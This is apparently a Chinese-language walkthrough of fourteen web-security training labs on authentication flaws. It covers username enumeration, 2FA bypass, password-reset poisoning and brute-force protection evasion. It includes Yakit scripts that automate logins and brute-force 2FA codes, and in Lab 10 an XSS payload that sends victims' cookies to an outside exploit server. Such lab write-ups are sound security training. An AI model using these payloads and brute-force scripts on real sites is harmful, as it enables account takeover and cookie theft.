让我们欢迎渗透测试三巨头之一!SRC一方霸主!未授权!
未授权属于认证
认证大多是逻辑漏洞,开发不把认证做好,就会产生许多越权攻击。
Lab 1
Username enumeration via different responses
直接插入临时字典爆破就行,每次靶场预设的用户名都不一样
优先检查用户名,用户名不对就显示Invalid username
用户名对了,密码错了,就显示Incorrect password
所以观察返回长度,长一点的就是密码错了,这也暗示用户名是对的,所以可以中止爆破,将用户名修改好,再单独对密码进行爆破。
当然也可以继续等下去,一直等到刚好用户名与密码都正确。
Lab 2
2FA simple bypass
两步验证形同虚设,账号登录进去就已经给我session了。不过在登录进去多做了一步验证码,此时直接访问my account就行
Lab 3
Password reset broken logic
访问的密码重置链接,链接指向的网页在提交新密码时同时传递了账号密码,此时可以修改账号,达到修改密码的目的
Lab 4
Username enumeration via subtly different responses
匹配器匹配那个<p class=is-warning>Invalid username or password.</p>
有一个不同,没有.
,他就是用户名
然后拿用户名跑密码,302就是的
Lab 5
Username enumeration via response timing
动态XFF即可,插入标签{{int::1(1-254)}
,然后username那里插入{{payload::1(BP_username)}}
这样的话,每个username都对应一个IP,就不会被封禁
Lab 6
Broken brute-force protection, IP block
错的多了就封禁,但是登录正确用户就清除封禁记录
所以爆破思路就是字典里的密码爆破一个,就填写一个正确的用户去清除错误记录,然后再爆破一个密码。以此来把密码字典跑完,所以这个实现有三种方法:
1、制作交替的字典,用户名简单,就俩用户名交替,密码制作也简单,每行内插入一个已知用户的密码。把这两个字典同行匹配爆破即可。注意并发为1
2、热加载,类似于BurpSuite的宏,在每次发包前,发送一次正确用户账号密码的包
注意:包必须替换为你的Cookie,如果你要复制全部请求头进去,有个请求头为sec-ch-ua
,他的值有半个括号,导致代码括号闭合有问题,你可以删掉这个括号。
代码如下,我已精简请求包:
1beforeRequest = func(req) { /* beforeRequest将在请求发起之前执行 */
2 // 发送GET请求,获取响应
3 rsp, _, err = poc.HTTP(`POST /login HTTP/1.1
4Host: 0ad3009604a2fcecd419d948003e0059.web-security-academy.net
5Cookie: session=QmQLegdClZJBN1wKoZaGHK5OlsJOFO3r
6
7username=wiener&password=peter`,poc.https(true)) /* 这里可以替换为你需要的请求 */
8 if err != nil {
9 return req
10 }
11 return req
12}
3、使用Yakit序列,第一个节点插入密码字典,第二个节点是正确用户的登录包,这俩包的并发都降低到1。每次第一个节点发送了一个密码爆破包,就会触发第二个节点的正确登录包,这样也能交替完成爆破,注意yakit中这俩节点的响应是分开显示的。
最快应该是热加载,由于每次发包前都会发送正确的包,所以他可以并发。
其他两个方法不能并发,因为你正确用户可能还没清理掉封禁记录,你就并发了几个密码出去了,由于封禁,很大概率你测试不出来是否是正确密码
思考🤔:序列线程为1,第一个节点发送密码,此时第二个节点开始发包,但第一个节点发送完后,第二次发包又开始了。第二个节点的包如果晚于第一个节点的第二个包,会不会导致没清除掉记录就又发了密码测试?
Lab 7
Username enumeration via account lock
爆破用户名,有一个用户名显示不同,只有那个用户名才会封禁,他就是目标用户名
然后爆破密码即可,虽然显示封禁,但是正确密码的长度仍然不同,响应里是没有报错的
Lab 8
2FA broken logic
verify参数是决定让谁生成验证码,然后修改username为carlos。爆破验证码
Lab 9
Brute-forcing a stay-logged-in cookie
进入my account,抓包,删除session,爆破stay-logged-in
参数,这个参数base64解开,后半段是密码的md5,所以爆破的编码标签就是:
1Cookie: stay-logged-in={{base64enc(carlos:{{md5({{payload(BP_password)}})}})}};
请求包的第一行要修改为id=carlos
,然后错误包显示302跳转到登录,正确包会显示200 my account页面
Lab 10
Offline password cracking
XSS窃取cookie,访问自己cookie之前,服务器接收到受害者cookie,解开就行
1<script>document.location=("https://exploit-0aa500b3035b3ae0bfad75840125006b.exploit-server.net/"+document.cookie+"/")</script>
后台有个机器人carlos在访问帖子,如果刚好时间一致就能获取到cookie,通常是第一个帖子
Lab 11
Password reset poisoning via middleware
加上XFH,链接会被发送到XFH地址,这是初始地址的意思,防止服务器发给代理服务器的。XFH格式与Host格式一致
网络不好,会导致收不到请求,多发包多等待
Lab 12
Password brute-force via password change
用户名、当前密码、新密码、再次输入新密码
优先比对当前密码,然后比对新密码与再次输入的新密码
所以让新密码不一样,使当前密码错显示密码错,当前密码对显示新密码错
就这个逻辑爆破就行
Lab 13
Broken brute-force protection, multiple credentials per request
把字典写为数组作为password字段的值,用302响应中的session登录
Lab 14
2FA bypass using a brute-force attack
2FA有一种是官方发验证码,发邮件或者短信,这种是你每次登录都会重新生成的,现在无法爆破这种,这相当于一次一密,已经很安全了。
还有一种是手机令牌,大家用过steam或者google 令牌都知道,验证器有一串字符,然后过一会就会更换。你在登录时需要填写这个字符。
而这个靶场的2FA就类似于手机令牌,但是它的时效非常久。我们要在这个时间内爆破出来。
用这个逻辑就行,序列执行流程看下面的图文部分。
这个靶场脆弱点在于,登录后验证码更新时间太久,如果你爆破不出来,那就再执行一遍,或者收集发送失败的包,丢失参数的包,再发一遍。
发现这个题,yakit并没有bp好用。这边需要老传递变量,而bp的宏勾选对应的包就行
Yakit一打就崩,现在是凌晨5点半,提交了崩溃日志,希望起床能得到回复
现在是2025/3/12,负责这块的Rookie发了个1.3.9-alpha312
版本引擎给我,不崩了。
注意get login那个包可以并发,会快一些。启动器不要并发
并且爆破出了验证码,状态码302的就是,用session登录carlos的账号
这里贴一下序列流程和具体请求包(请求包已删除无用字段),注意变量设置和提取器规则。并且把所有靶场链接替换成自己的

第一个节点:字典分叉pass
目的是逐个发包,每次都会调用后面的序列
语法错了都没事,乱写都没事,主要是执行就可以,他就是为了调用序列用的,然后把每个验证码发过去
1HEAD /{{p(pass)}} HTTP/1.1
2Host: www.example.com
3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
第二个节点:获取session与csrf
由于登录时会有个随机session和csrf,所以需要提前获取一下。然后传递给登录包用,这里请求包删掉session,然后响应包就会分配一个session和csrf
第三个节点:登录页面
登录后是302跳转,这里会再分配一个session,需要获取一下给后面的2FA页面用
1POST /login HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session)}}
4
5
6csrf={{p(csrf)}}&username=carlos&password=montoya
第四个节点:访问2FA页面
2FA的页面是login2,提交验证码页面有个新csrf需要获取一下
1GET /login2 HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session2)}}
第五个节点:爆破验证码
把新的session和csrf填进去,爆破一个验证码。由于第一个启动器会不断从字典中取值发包,所以这边流程走完也就能慢慢爆破完验证码
1POST /login2 HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session2)}}
4
5csrf={{p(csrf2)}}&mfa-code={{p(pass)}}
遇到302就是正确验证码,然后用session登录
流程清晰了,那么脚本就好写了:
热加载:
1
2beforeRequest = func(req) {
3 // 访问登录页
4 url="https://0a9e001f037bdb47823915920053009e.web-security-academy.net"
5 rsp, _ = poc.Get(url+"/login",poc.retryTimes(10))~
6 csrf1=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
7 session1=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
8
9 // 登录账号
10 rsp, _ = poc.Post(url+"/login", poc.appendCookie("session",session1),poc.replaceBody(f"csrf=${csrf1}&username=carlos&password=montoya", false),poc.retryTimes(10),poc.noRedirect(true))~
11 session2=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
12
13 // 访问2FA
14 rsp, _ = poc.Get(url+"/login2",poc.appendCookie("session",session2),poc.retryTimes(10))~
15 csrf2=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
16
17 // 替换参数
18 req = str.ReplaceAll(req, "__session__", session2)
19 req = str.ReplaceAll(req, "__csrf__", csrf2)
20
21 return []byte(req)
22}